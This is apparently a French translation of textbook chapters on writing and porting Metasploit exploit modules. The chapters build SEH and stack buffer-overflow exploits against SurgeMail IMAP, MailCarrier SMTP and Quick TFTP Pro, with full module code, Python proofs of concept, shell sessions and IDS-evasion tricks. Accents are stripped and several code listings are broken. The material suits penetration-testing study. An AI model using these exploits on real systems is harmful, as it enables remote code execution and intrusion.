SurgeMail. Ce qui suit est le squelette initial de notre module dexploit, qui
doit tre sauvegard dans /root/.msf3/ modules/exploits/windows/imap/.
require msf/core

class Metasploit3 < Msf::Exploit::Remote


def initialize(info = {})
Name
=> Surgemail 3.8k4-4 IMAPD LIST
Buffer Overflow,
Description => %q{

This module exploits a stack overflow in the Surgemail
IMAP Server version 3.8k4-4 by sending an overly long
LIST command. Valid IMAP account credentials are
required.
},
References =>
[
[ BID, 28260 ],
[ CVE, 2008-1498 ],
[ URL, http://www.exploit-db.com/exploits/5259 ],
],
Privileged => false,
DefaultOptions =>
{
EXITFUNC => thread,
},
Payload =>
{
Space => 10351,
DisableNops => true,
BadChars => "\x00"
},
Platform => win,
Targets =>
[

[Windows Universal, { Ret => 0xDEADBEEF } ],
# p/p/r TBD
],
DisclosureDate => March 13 2008,
DefaultTarget => 0))
end

def exploit
connected = connect_login
lead = "\x41" * 10360
evil = lead + "\x43" * 4
print_status("Sending payload")
sploit = 0002 LIST () "/ + evil + " "PWNED" + "\r\n"
sock.put(sploit)
handler
disconnect
end
end
La dclaration Space en fait rfrence lespace disponible pour le
shellcode. Cette dclaration est trs importante dans un module dexploit
parce quelle dtermine le payload que Metasploit, en lanant lexploit,
va vous permettre dutiliser. Certains payloads ncessitent beaucoup plus
de place que dautres, donc ne surestimez pas cette valeur. Les tailles de
payloads varient grandement, et lencodage les augmente encore. Pour
voir la taille dun payload non encod, utilisez la commande info suivie
du nom du payload puis cherchez la valeur de Total size, comme montr
ici :
msf > info payload/windows/shell_bind_tcp
Name: Windows Command Shell, Bind TCP Inline
Module: payload/windows/shell_bind_tcp
Version: 8642
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 341
Rank: Normal
Ladresse de retour en dans la section Targets est pour linstant
occupe par une valeur par dfaut que nous changerons plus tard dans le
processus de dveloppement de lexploit.
Comme avec le fuzzer voqu plus haut, cet exploit se connecte et
sauthentifie sur la cible (), utilise une chane de "A" () comme buffer
initial et y ajoute quatre "C" () pour craser le SEH. La chane complte
de lexploit est gnre en puis envoye la cible en .
La prochaine tape consiste trouver une squence POP-POP-RETN
dans surgemail.exe. Pour ce faire, copiez lexcutable quelque part sur
votre machine Back|Track puis utilisez loption -p avec msfpescan pour
trouver un candidat adapt, comme dans lexemple suivant :
root@bt:/tmp# msfpescan -p surgemail.exe

[surgemail.exe]
0x0042e947 pop esi; pop ebp; ret
0x0042f88b pop esi; pop ebp; ret
0x00458e68 pop esi; pop ebp; ret
0x00458edb pop esi; pop ebp; ret
0x0046754d pop esi; pop ebp; ret
0x00467578 pop esi; pop ebp; ret
0x0046d204 pop eax; pop ebp; ret

. . . Tronqu . . .

0x0078506e pop ebx; pop ebp; ret
0x00785105 pop ecx; pop ebx; ret
0x0078517e pop esi; pop ebx; ret
Quand msfpescan est lanc contre un excutable cible, il lit le code
machine la recherche dinstructions dassembleur qui correspondent
ce qui est cherch (une squence POP-POP-RETN en loccurrence) et
affiche les adresses de mmoire o ces instructions apparaissent. Comme
vous pouvez le constater, plusieurs adresses sont trouves. Nous
utiliserons celle du listing, 0x0078517e, pour rcrire le SEH dans
lexploit. Ensuite, nous modifions la section Targets du module dexploit
pour y inclure cette adresse et la section exploit, pour linclure dans le
buffer envoyer :
Platform => win,
Targets =>
[

[Windows Universal, { Ret => "\x7e\x51\x78" }
], # p/p/r TBD
],
end

def exploit
lead = "\x41" * 10360
evil = lead + [target.ret].pack("A3")
Pour effectuer une rcriture sur trois octets du SEH, nous dfinissons les
trois octets ajouter au buffer dans le bloc Targets en , en orientation
little-endian, comme montr en gras dans le listing. Lorientation little-
endian ou big-endian est dtermine par larchitecture du CPU de la
cible, et les processeurs compatibles Intel utilisent une orientation little-
endian des octets.
En , nous remplaons les trois "C" de la chane evil avec
[target.ret].pack("A3"), qui renverra ladresse de retour exactement
comme dclare dans le bloc Targets. En modifiant beaucoup dexploits
qui utilisent une rcriture de trois octets, vous pouvez dclarer ladresse
littralement (0x0078517e dans ce cas) et Metasploit rordonnera
correctement les octets automatiquement en utilisant
[target.ret].pack(V).
Ce scnario requiert un contrle plus fin, car si lon envoyait un octet null
(00), il reprsenterait une fin de chane et pourrait empcher le bon
fonctionnement de lexploit.
Le moment est venu de lancer lexploit pour sassurer quil fonctionne
correctement. Si vous sautez des tapes pendant le dveloppement dun
exploit, vous risquez de vous tromper quelque part et dtre oblig de
revenir en arrire pour dterminer ce qui ne va pas. Voici lexploit :
msf > use exploit/windows/imap/surgemail_book
msf exploit(surgemail_book) > set IMPPASS test
IMAPPASS => test
msf exploit(surgemail_book) > set IMAPUSER test
IMAPUSER => test
msf exploit(surgemail_book) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msfexploit(surgemail_book) > set PAYLOAD generic/debug_trap
PAYLOAD => generic/debug_trap
msf exploit(surgemail_book) > exploit

[*] Sending payload
[*] Exploit completed, but no session was created.

msf exploit(surgemail_book) >
En fait, le payload quon utilise en , generic/debug_trap, ne va pas
vraiment envoyer de payload. Au lieu de a, il envoie de multiples \xCCs,
ou breakpoints, pour dboguer le flow dexcution de lexploit. Cela est
utile pour tre certain que votre shellcode est insr aux bons endroits
dans votre exploit.
Aprs lexcution de lexploit, ouvrez Immunity Debugger (voir
Figure 14.5), et lors du crash slectionnez View > SEH chain. Mettez en
place un breakpoint en appuyant sur F2, et ensuite appuyez sur
SHIFT+F9 pour passer lexception lapplication et entrez dans la
squence dinstructions POP-POP-RETN.
Maintenant, tout en restant dans le debugger, appuyez sur F7 pour passer
pas pas les instructions jusqu ce que vous arriviez dans le 41414141
contenu dans le NSEH.
Figure 14.5
Arrive dans les instructions POP-POP-RETN.
Ensuite, ditez lexploit pour inclure les instructions de short jump en
arrire, comme indiqu ici :
def exploit
lead = "\x41" * 10356
nseh = "\xeb\xf9\x90\x90"
evil = lead + nseh + [target.ret].pack("A3")
sock.put(sploit)
handler
disconnect
end
En ditant votre exploit, assurez-vous dajuster la longueur du buffer
initial en pendant que vous effectuez les changements, ou vous ne
serez plus align. Dans notre cas, le NSEH se retrouve cras par les
instructions pour faire un short jump de cinq octets en arrire
(\xeb\xf9\x90\x90) , o eb est le code opration dun short jump. La
nouvelle longueur du buffer lead est ajuste 10,356 octets, parce que
ces quatre nouveaux octets viennent avant lcrasement du SEH.
Lorsque vous excuterez lexploit nouveau et respecterez les
instructions du debugger, vous devriez arriver dans les "41" ("A" en
hexadcimal), avant les valeurs de lexception handler. Les cinq
instructions INC ECX devraient tre remplaces par le code ncessaire
pour faire un saut plus en arrire encore dans le buffer initial.
Maintenant, nous allons modifier lexploit pour inclure la squence
dinstructions near jump (\xe9\xdd\xd7\xff\xff) pour sauter en arrire
un emplacement situ ct du dbut du buffer. En regardant le buffer
(voir Figure 14.6), vous pouvez voir que lensemble de la chane de "A"
est entirement intact, laissant plus de 10 000 octets disponibles pour le
shellcode. Cela vous laisse suffisamment de place, puisque lespace
moyen exig pour un shellcode fonctionnel est de moins de 500 octets.
Figure 14.6
Plein de place pour le shellcode.
Maintenant, tout ce que vous avez faire, cest de remplacer le buffer
de 41 par des NOP (\x90) pour vous donner la possibilit darriver un
bon slide NOP, et vous pouvez ensuite laisser Metasploit se charger du
shellcode.
def exploit
lead = "\x90" * (10351 - payload.encoded.length)
near = "\xe9\xdd\xd7\xff\xff"
evil = lead + payload.encoded + near + nseh +

[target.ret].pack("A3") print_status("Sending payload")
sock.put(sploit)
handler
disconnect
end
Comme vous pouvez le voir dans ce listing, la chane initiale de "A" que
nous avons utilise plus tt est remplace par des NOP, moins la longueur
du shellcode que Metasploit gnre en . Remarquez que la taille,
initialement de 10 356 octets, a t diminue de cinq octets en 10351 pour
compenser linstruction de near jump en . Pour finir, la chane
malicieuse est construite avec tous les composants de lexploit en .
Maintenant, nous pouvons slectionner un vrai payload et excuter le
module pour voir ce quil se passe. tonnamment, lexploit sexcute
mais aucune session nest cre. Le module de lexploit se connecte et
envoie son payload, mais il ny a pas de retour de shell, comme vous
pouvez le voir ci-aprs :
msf exploit(surgemail_book) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp

msf exploit(surgemail_book) > exploit

[*] Sending payload
msf exploit(surgemail_book) >
Mauvais caractres et excution du code distance
Une chose inattendue sest produite : lexploit sest excut mais aucune
session na t cre. Si vous vrifiez votre debugger, vous verrez que
lapplication na pas subi de crash alors que sest-il pass ? Bienvenue
dans le monde parfois prouvant et presque toujours frustrant des
mauvais caractres. Lorsquils sont utiliss lintrieur dun buffer
dexploit, certains caractres posent problme lors de leur lecture par
lapplication. Le malheureux rsultat des mauvais caractres est quil
rend votre shellcode, et parfois mme tout lexploit, inutilisable.
Lorsque vous crivez un module Metasploit, vous devez tre sr de
toujours identifier les mauvais caractres car le shellcode gnr par
Metasploit diffre chaque fois quun exploit est excut, et nimporte
quel mauvais caractre rduira la fiabilit de votre module. Dans
beaucoup de cas, si vous ne russissez pas tous les trouver, lapplication
crashera sans excution du shellcode. Dans lexemple prcdent,
SurgeMail ne sest pas crash. Lexploit semble fonctionner, mais nous
navons pas de session.
Il y a de nombreuses faons didentifier les mauvais caractres, y
compris le remplacement, par une chane de caractres squentiels
(\x00\x01\x02...), du shellcode dynamiquement cr, ainsi que la
vrification dans le debugger pour voir quel est le premier caractre qui
pose problme et le marquer en tant que mauvais. Cela dit, lune des
mthodes les plus rapides consiste chercher les mauvais caractres
dans le code source dexploits similaires. Par exemple, une recherche
dans les exploits IMAP au moment de lcriture de cet ouvrage trouve
\x00\x09\ x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x7b lists comme mauvais
caractres :
DefaultOptions =>
{
EXITFUNC => thread,
},
Payload =>
{
Space => 10351,
BadChars
=>
\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x7b
},
Platform => win,
Targets =>
Lorsque vous dclarez des "BadChars" dans un module dexploit,
Metasploit les exclut automatiquement du shellcode et de toute chane de
texte ou de NOP automatiquement gnre.
Lorsquon excute nouveau lexploit, comme montr plus loin, aprs
avoir dclar les mauvais caractres, la troisime tentative on obtient
enfin une session. Lexploit nest toujours pas fiable, mais il fonctionne
grce Metasploit qui change dynamiquement le shellcode chaque fois
que lexploit est excut. Donc, les caractres qui provoquent la
dfaillance du module ne sont pas prsents chaque fois.
msf exploit(surgemail_book) > rexploit

[*] Sending payload

[*] Sending payload

[*] Sending payload
[*]
192.168.1.155:4444)


c:\surgemail>
Trouver les mauvais caractres restants est un exercice laiss au lecteur.
Une faon fastidieuse mais excellente dliminer tous les mauvais
caractres est de suivre la technique dcrite sur
http://en.wikibooks.org/wiki/Metasploit/
WritingWindowsExploit#Dealing_with_badchars.
Le code de lexploit, contenant tous les morceaux de code que nous y
avons ajouts, est montr ici :
require msf/core



Name
=> Surgemail 3.8k4-4 IMAPD LIST Buffer
Overflow,
Description => %q{

This module exploits a stack overflow in the Surgemail IMAP
Server version 3.8k4-4 by sending an overly long LIST
command. Valid IMAP account credentials are required.
},
References =>
[
[ BID, 28260 ],
[ CVE, 2008-1498 ],
],
DefaultOptions =>
{
EXITFUNC => thread,
},
Payload =>
{
Space => 10351,
BadChars
=>
"\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x7b"
},
Platform => win,
Targets =>
[

[ Windows Universal, { Ret => "\x7e\x51\x78" } ], # p/p/r in
surgemail.exe
],
end
def exploit
lead = "\x90" * (10351 - payload.encoded.length)
near = "\xe9\xdd\xd7\xff\xff"

evil = lead + payload.encoded + near + nseh +
[target.ret].pack("A3")
sock.put(sploit)
handler
disconnect
end
end

En conclusion
Bien que nous nayons pas expos de nouvelle vulnrabilit dans ce
chapitre, nous avons pass en revue le processus entier du
dveloppement et du lancement dun fuzzer au dveloppement dun
exploit fonctionnel. Lexploit que nous avons construit dans ce chapitre
est complexe et inhabituel, ce qui nous a offert une excellente occasion
de rflchir, dpasser les bases et faire preuve de crativit pour
permettre lexcution du code.
Lune des meilleures faons dapprofondir Metasploit est de parcourir
ses fichiers sources ainsi que ceux dautres modules dexploit, afin de se
faire une meilleure ide de ce quil est possible de faire avec le
framework Metasploit. Les techniques utilises dans ce chapitre vous ont
donn les outils de base dont vous aurez besoin pour commencer
dcouvrir les vulnrabilits et dvelopper les modules dexploit
Metasploit qui les exploiteront.
Dans le chapitre suivant, nous allons plonger dans le domaine de la
portabilit dexploits dans le framework, domaine qui se construira grce
aux connaissances acquises dans ce chapitre. Nous vous montrerons
comment convertir des exploits publiquement disponibles en un exploit
Metasploit fonctionnel, en les rcrivant et en les dboguant afin de
comprendre leurs fonctionnalits.
15
Porter des exploits sur le
framework Metasploit
Sommaire
Fondamentaux du langage assembleur
Port dun buffer Overflow
Exploit par crasement du SEH
Vous pouvez vouloir convertir des exploits dun format diffrent sur
Metasploit, et ce pour plusieurs raisons, notamment afin de renvoyer
lascenseur la communaut et au framework. Tous les exploits ne sont
pas bass sur le framework Metasploit ; certains sont crits en Perl, en C
ou en C++.
Lorsque vous portez des exploits sur Metasploit, vous convertissez un
exploit autonome, tel quun script Python ou Perl, afin quil soit utilisable
par Metasploit. Aprs avoir import un exploit dans le framework, vous
pouvez videmment tirer profit de ses nombreux outils haut de gamme
pour quils se chargent des tches routinires, et ainsi vous concentrer sur
ce qui fait de cet exploit particulier quelque chose dunique. De plus, bien
que les exploits indpendants dpendent souvent de lutilisation dun
payload ou dun systme dexploitation particulier, les payloads peuvent
ici, une fois ports sur le framework, tre crs la vole et lexploit
peut tre utilis de multiples faons.
Ce chapitre vous accompagnera dans le processus du port de deux
exploits indpendants dans le framework. Avec la connaissance de ces
concepts lmentaires, et un peu de travail de votre part, vous devriez
tre capable deffectuer vous-mme les ports dexploits dans le
framework dici la fin de ce chapitre.
Fondamentaux de langage assembleur
Pour tirer profit de ce chapitre, vous aurez besoin de comprendre les
bases du langage assembleur. Nous utiliserons de nombreuses instructions
et commandes de bas niveau dans ce chapitre, alors jetons un coup dil
sur les plus frquentes dentre elles.
Registres EIP et ESP
Les registres sont des paramtres fictifs qui stockent linformation, font
des calculs ou sauvent une valeur dont une application a besoin pour
fonctionner. Les deux registres les plus importants pour les besoins de ce
chapitre sont lEIP (Extended Instruction Pointer) et lESP (Extended
Starter Pointer).
La valeur de lEIP dit lapplication o aller aprs avoir excut du
code. Dans ce chapitre, nous craserons notre adresse de retour EIP et
lui dirons de pointer vers notre code malicieux. Le registre ESP est, dans
notre exploit de buffer overflow, l o nous remplaons les donnes de
lapplication avec notre code malicieux pour provoquer le crash. Le
registre ESP est essentiellement une adresse mmoire et un espace
rserv pour notre shellcode malicieux.
Le set dinstruction JMP
Le set dinstruction JMP est le "saut" (jump) ladresse de mmoire
pointe par ESP. Dans lexemple doverflow que nous allons explorer
dans ce chapitre, nous utilisons le set dinstruction JMP ESP pour dire
lordinateur daller ladresse mmoire pointe par ESP, qui contient
notre shellcode.
NOP et slides NOP
Une NOP est une instruction de non-opration. Parfois, quand vous
dclenchez un overflow, vous ne savez pas exactement o vous allez
atterrir dans lespace allou. Une instruction NOP dit simplement
lordinateur "ne fais rien si tu me vois", et elle est reprsente par \x90 en
hexadcimal.
Un slide NOP est une poigne de NOP combins afin de crer un
toboggan vers notre shellcode. Quand on dclenche linstruction JMP
ESP, on rencontre un paquet de NOP, qui vont nous faire glisser jusqu
atterrir dans le shellcode.
Port dun buffer overflow
Notre premier exemple est un remote buffer overflow typique qui na
besoin que dun jump dans lESP (JMP ESP) pour atteindre le shellcode.
Cet exploit, appel MailCarrier 2.51 SMTP EHLO / HELO Buffer
Overflow Exploit utilise des commandes MailCarrier 2.51 SMTP pour
causer un buffer overflow.
Vous trouverez lexploit et lapplication vulnrable http://www.exploit-
db.com/exploits/598/.
Il sagit cependant dun vieil exploit, originellement crit pour
Windows 2000. Quand on le lance aujourdhui, a ne marche pas tout
fait comme prvu. Commodment, un module Metasploit est dj prsent
dans le framework pour limplmenter, mais il pourrait tre un peu
amlior. Aprs avoir pass un peu de temps investiguer les diffrentes
tailles de buffer, vous vous rendrez compte que plus de 1 000 octets sont
disponibles pour le shellcode et que la taille du buffer doit tre ajuste de
quatre octets. Pour plus dinformation propos de comment cela est fait,
lisez Exploit Writing Tutorial Part 1: Stack Based Overflows ladresse
http://www.exploit-db.com/download_pdf/13535/. Une preuve de
faisabilit (Proof of concept) pour cet exploit est reproduite ci-aprs.
Nous avons retir le shellcode et remplac linstruction de jump par une
chane (AAAA) pour craser le registre EIP. Les preuves de faisabilit
dexploits contiennent le code de base ncessaire pour dmontrer que
lexploit est possible mais ne prsentent pas de payload, et, dans
beaucoup de cas, dimportantes modifications seront ncessaires avant
quil ne fonctionne correctement.
#!/usr/bin/python
######################################################## #
# MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow #
# Advanced, secure and easy to use Mail Server. #
# 23 Oct 2004 - muts #
######################################################## #

import struct
import socket

print "\n\n###############################################"
print "\nMailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow"
print "\nFound & coded by muts [at] whitehat.co.il"
print "\nFor Educational Purposes Only!\n"
print "\n\n###############################################"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "\x41" * 5093
buffer += "\42" * 4
buffer += "\x90" * 32
buffer += "\xcc" * 1000

try:
print "\nSending evil buffer..."
s.connect((192.168.1.155,25))
s.send(EHLO + buffer + \r\n)
data = s.recv(1024)
s.close()
print "\nDone!"
except:
print "Could not connect to SMTP!"
Comme vous pouvez limaginer, la faon la plus rapide et la plus simple
de porter un exploit standalone dans Metasploit est den modifier un
similaire, prsent dans le framework. Et cest ce que lon va faire.
Dpouiller lexploit existant
Tout comme lors de la premire tape qui consistait porter lexploit
MailCarrier, nous dpouillerons le module Metasploit existant pour en
faire un fichier contenant uniquement un squelette simple :
require msf/core

Rank = GoodRanking

Name
=> TABS MailCarrier v2.51 SMTP
EHLO Overflow,
Description => %q{

This module exploits the MailCarrier v2.51 suite SMTP
service.The stack is overwritten when sending an overly
long EHLO command.
},
Author => [ Your Name ],
Arch => [ ARCH_X86 ],
References =>
[
[ CVE, 2004-1638 ],
[ OSVDB, 11174 ],
[ BID, 11535 ],
],
Privileged => true,
DefaultOptions =>
{
EXITFUNC => thread,
},
Payload =>
{
Space => 300,
BadChars => \x00\x0a\x0d\x3a,
StackAdjustment => -3500,
},
Platform => [win],
Targets =>
[

[ Windows XP SP2 - EN, { Ret =>
0xdeadbeef } ],
],
DisclosureDate => Oct 26 2004,

register_options(
[
Opt::RPORT(25),
Opt::LHOST(), # Required for stack offset
], self.class)
end

def exploit
connect
sock.put(sploit + "\r\n")
handler
disconnect

end

end

Parce que cet exploit ne requiert pas dauthentification, nous navons
besoin que du mixin Msf::Exploit::Remote::Tcp comme montr en .
Nous avons parl des mixins au cours des chapitres prcdents : ils
permettent dutiliser des protocoles intgrs tels que Remote::Tcp pour
faire des communications TCP lmentaires.
Dans le code ci-dessus, ladresse de retour de la cible est dfinie par une
fausse valeur Oxdeadbeef en , et le port par dfaut est 25, visible en .
En se connectant la cible, Metasploit va envoyer lattaque malicieuse
en utilisant sock.put comme montr en et crer lexploit pour nous.
Configurer la section exploit
Regardons comment configurer au pralable la dfinition de notre
exploit. Nous aurons besoin denvoyer au serveur un petit coucou,
comme le veut le protocole, dun grand buffer, dun espace rserv do
nous prendrons le contrle de lEIP, d'un bref slide NOP et dun
emplacement pour notre shellcode. Voici le code :
def exploit

connect
sploit = "EHLO"
sploit << "\x41" * 5093
sploit << "\x42" * 4
sploit << "\x90" * 32
sploit << "\xcc" * 1000


handler

disconnect
end
Le buffer malicieux est construit sur la base de lexploit dorigine,
commenant par la commande EHLO en suivi pas une longue chane
de "A" en (il y en a 5 093), quatre octets pour craser le registre EIP
en , un petit slide de NOP en , et enfin un faux shellcode en .
Dans ce cas, nous avons choisi un breakpoint en afin que lexcution
se mette en pause quand elle arrive au shellcode sans que nous ayons
besoin de configurer un breakpoint.
Ayant configur la section de lexploit, nous sauvegardons le fichier en
tant que mailcarrier_book.rb dans modules/exploits/windows/smtp/.
Tester notre exploit de base
Prochaine tape, nous slectionnons le module dans msfconsole,
initialisons les options ncessaires et configurons le payload
generic/debug_trap (un excellent payload pour le dveloppement
dexploit, qui positionne un point darrt quand vous tracez lapplication
dans un debugger). Puis nous lanons le module :

msf > use exploit/windows/smtp/mailcarrier_book
msf exploit(mailcarrier_book) > show options

Module options:

---- --------------- -------- -----------

Exploit target:

Id Name
-- ----
0 Windows XP SP2 - EN
msf exploit(mailcarrier_book) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(mailcarrier_book) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf exploit(mailcarrier_book) > set payload generic/debug_trap
payload => generic/debug_trap

msf exploit(mailcarrier_book) > exploit

msf exploit(mailcarrier_book) >
Nous dfinissons les options comme si nous voulions lancer un exploit
normal, sauf que nous utilisons le payload generic/debug_trap en pour
tester notre exploit.
Aprs le lancement du module, le debugger devrait faire une pause lors
de lcrasement de lEIP par 42424242 (voir Figure 15.1). Si vous voyez
un tel crasement, vous savez que votre exploit fonctionne. Notez qu la
Figure 15.1 le registre EIP pointe vers 42424242 tandis que le slide NOP
et le faux shellcode ont intgr le buffer comme prvu.
Figure 15.1
Rcriture initiale de MailCarrier.
Implmenter des caractristiques du framework
Ayant prouv que le squelette de base du module fonctionne en crasant
notre adresse EIP, on peut doucement commencer implmenter les
fonctionnalits du framework. Nous commenons par dfinir ladresse de
retour cible (en gras dans lexemple suivant) dans le bloc Targets par
ladresse dun JMP ESP. Cest la mme adresse utilise dans lexploit
originel ; nous la trouvons dans SHELL32.DLL dans Windows XP SP2. Il
nous faut trouver une adresse de retour lgitime pour nous assurer que
notre code sexcute proprement sur le systme dexploitation vis.
Souvenez-vous que certains exploits ne fonctionnent que sur certains
systmes dexploitation, comme cest le cas avec cet exploit. Nous
utilisons une adresse de retour extraite de SHELL32.DLL qui changera
entre diffrentes versions de Services Packs. Si nous pouvions trouver un
JMP ESP standard dans ladresse mmoire de lapplication, nous
naurions pas besoin dutiliser un DLL et pourrions rendre cet exploit
universel pour toutes les plateformes Windows, parce que ladresse
mmoire ne changerait jamais.
Targets =>
[
[ Windows XP SP2 - EN, { Ret => 0x7d17dd13 } ],

],

Metasploit ajoutera ladresse de retour dans lexploit au moment de
lexcution. Vous pouvez remplacer ladresse de retour dans la session
de lexploit avec [target[Ret]].pack(V). Cela insrera ladresse de
retour dans lexploit en renversant lordre des octets dans un format little-
endian. Lordonnancement en mmoire est dtermin par larchitecture
du CPU cible, et les processeurs compatibles Intel utilisent
lordonnancement little-endian.
Si vous aviez dclar plusieurs cibles, cette ligne slectionnerait ladresse
de retour approprie, selon la cible choisie au lancement de lexploit.
Notez que le fait dajouter lexploit au framework ajoute aussi de la
versatilit.
sploit = "EHLO "
sploit << "\x41" * 5093
sploit << [target[Ret]].pack(V)
sploit << "\x90" * 32
sploit << "\xcc" * 1000
Rexcuter le module devrait provoquer un jump dans les instructions
INT3 du faux shellcode (voir Figure 15.2).
Figure 15.2
Un jump dans le faux shellcode ; nous avons le contrle utilisateur des
instructions INT3.
Ajouter de la randomisation
La plupart des systmes de dtection dintrusion dclencheront une alerte
quand ils repreront une longue chane de "A" qui traverse le rseau,
parce que cest un type de buffer classique pour les exploits. Ds lors, il
vaut mieux introduire le plus de randomisation possible dans vos exploits,
parce que cela cassera beaucoup de signatures propres aux exploits.
Pour ajouter de lalatoire cet exploit, ditez la section Targets dans le
bloc suprieur pour inclure la longueur ("offset") requise avant la
rcriture de lEIP :
Targets =>
[

[ Windows XP SP2 - EN, { Ret => 0x7d17dd13, Offset =>
5093 } ],
],

En dclarant lOffset ici en , vous naurez plus besoin dinclure la
chane de A manuellement dans lexploit lui-mme. Cest une option trs
utile, parce que dans certains cas la longueur du buffer variera selon les
diffrents systmes dexploitation.
Nous pouvons maintenant diter la section Exploit pour que Metasploit
gnre une chane alatoire de caractres capitaux alphanumriques au
lieu de 5093 "A" au moment de lexcution. partir de l, chaque
excution de lexploit aura un buffer diffrent. Nous utiliserons
rand_text_alpha_upper pour accomplir cela, mais nous ne sommes pas
limits qu ce gnrateur. Pour voir tous les formats de texte disponible,
voyez le fichier text.rb situ sur Back|Track sous
/opt/metasploit/msf3/lib/rex/.
sploit = "EHLO "
sploit << rand_text_alpha_upper(target[Offset]
sploit << "\x90" * 32
sploit << "\xcc" * 1000
Comme vous pouvez le voir, la chane de A est remplace par une chane
alatoire de caractres capitaux alphanumriques. Quand on lance le
module nouveau, il fonctionne toujours correctement.
Retirer le slide NOP
Notre prochaine tape vise retirer le trs vident slide NOP, parce que
cest un lment qui dclenche souvent les systmes de dtection
dintrusion. Bien que \x90 soit la plus connue des instructions de non-
opration, ce nest pas la seule disponible. On peut utiliser la fonction
make_nops() pour dire Metasploit dutiliser des instructions
quivalentes NOP de faon alatoire dans le module :
sploit = "EHLO "
sploit << rand_text_alpha_upper(target[Offset])
sploit << make_nops(32)
sploit << "\xcc" * 1000
On lance nouveau le module et on vrifie notre debugger, qui devrait
nouveau se mettre en pause sur les instructions INT3. Lhabituel slide
NOP a t remplac par ce qui semble tre des caractres alatoires
(voir Figure 15.3).
Retirer le faux shellcode
Maintenant que tout fonctionne correctement dans notre module, nous
pouvons retirer le faux shellcode. Lencodeur exclura les mauvais
caractres dclars dans le bloc suprieur du module.
sploit = "EHLO "
sploit << payload.encoded
Figure 15.3
Buffer randomis dans MailCarrier.
La fonction payload.encoded demande Metasploit dajouter le payload
choisi la fin de la chane malicieuse au moment de lexcution.
Maintenant, quand on charge notre module, que lon dfinit un payload et
quon lexcute, nous obtenons un shell bien mrit :
msf exploit(mailcarrier_book) > set payload
msf exploit(mailcarrier_book) > exploit
[*]
192.168.1.155:1265)
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Notre module complet
Pour conclure, voici le code complet et final pour ce module dexploit
Metasploit :
require msf/core

Rank = GoodRanking

Name
=> TABS MailCarrier v2.51 SMTP
EHLO Overflow,
Description => %q{

This module exploits the MailCarrier v2.51 suite SMTP
service.The stack is overwritten when sending an overly
long EHLO command.
},
Author => [ Your Name ],
Arch => [ ARCH_X86 ],
References =>
[
[ CVE, 2004-1638 ],
[ OSVDB, 11174 ],
[ BID, 11535 ],
],
Privileged => true,
DefaultOptions =>
{
EXITFUNC => thread,
},
Payload =>
{
Space => 1000,
BadChars
=>
\x00\x0a\x0d\x3a,
},
Platform => [win],
Targets =>
[

[ Windows XP SP2 - EN, { Ret => 0x7d17dd13,
Offset => 5093 }
],
],
DisclosureDate => Oct 26 2004,
register_options(
[
Opt::RPORT(25),
Opt::LHOST(), # Required for stack offset
], self.class)
end
def exploit
connect
sploit = "EHLO "

sploit << payload.encoded

handler
disconnect
end
end
Vous venez de complter votre premier port dun exploit de type buffer
overflow dans Metasploit !
Dans notre prochain exemple, nous convertirons dans Metasploit un
exploit par crasement du SEH contre un Quick TFTP Pro 2.1. Les
crasements du SEH arrivent quand vous crasez le pointeur du handler
dexception de lapplication. Dans cet exploit particulier, lapplication
dclenche une exception, et quand elle arrive au pointeur sur lequel vous
avez pris le contrle, vous pouvez rediriger le flux dexcution vers votre
shellcode. Lexploit en lui-mme est un peu plus complexe quun simple
buffer overflow mais il est trs lgant. Dans un crasement du SEH, on
tente de contourner le handler qui essaye de fermer lapplication
proprement quand une grave erreur ou un crash survient.
Dans ce chapitre, nous utiliserons la technique POP-POP-RETN pour
nous permettre daccder lespace mmoire contrl par lattaquant et
ainsi obtenir lexcution du code. Cette technique est communment
utilise pour essayer de contourner le SEH et excuter son propre code.
Le premier POP en assembleur retire une adresse mmoire de la pile, ce
qui revient essentiellement enlever une instruction dune adresse
mmoire. Le second POP retire aussi une adresse mmoire de la pile.
Linstruction RETN renvoie vers la partie du code contrle par
lutilisateur, o nous pouvons commencer excuter nos instructions
mmoire.
Note
Pour en savoir plus sur les crasements SEH, visitez http://www.exploit-
db.com/download_pdf/10195/ (en anglais).
Lexploit pour Quick TFTP Pro 2.1 a t crit par Muts. Vous pouvez
trouver son code complet, ainsi que lapplication sur http://www.exploit-
db.com/exploits/5315/. Nous avons rduit lexploit pour le porter plus
facilement dans Metasploit par exemple, nous avons retir le payload.
Le reste du squelette contient toutes les informations dont nous aurons
besoin pour le porter dans Metasploit.
#!/usr/bin/python
# Quick TFTP Pro 2.1 SEH Overflow (0day)
# Tested on Windows XP SP2.
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/quick-tftp-poc.py.txt
#########################################################
import socket
import sys

print "[*] Quick TFTP Pro 2.1 SEH Overflow (0day)"
print "[*] http://www.offensive-security.com"

host = 127.0.0.1
port = 69

try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

filename = "pwnd"
shell = "\xcc" * 317

mode =
"A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xd3\x74"+"\x90"*16+shell

muha = "\x00\x02" + filename+ "\0" + mode + "\0"

print "[*] Sending evil packet, ph33r"
s.sendto(muha, (host, port))
print "[*] Check port 4444 for bindshell"
Comme nous lavons vu lors de notre exemple prcdent de JMP ESP,
nous crons dabord un squelette pour notre nouveau module en prenant
pour base un exploit analogue celui que nous avons utilis
prcdemment.
require msf/core


include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh

Name
=> Quick TFTP Pro 2.1 Long
Mode Buffer Overflow,
Description => %q{

This module exploits a stack overflow in Quick TFTP
Pro 2.1.
},
Author => Your Name,
References =>
[
[CVE, 2008-1610],
[OSVDB, 43784],
[URL, http://www.exploit-db.com/exploits/5315],
],
DefaultOptions =>
{
EXITFUNC => thread,
},
Payload =>
{
Space => 412,
BadChars => "\x00\x20\x0a\x0d",
},
Platform => win,
Targets =>
[
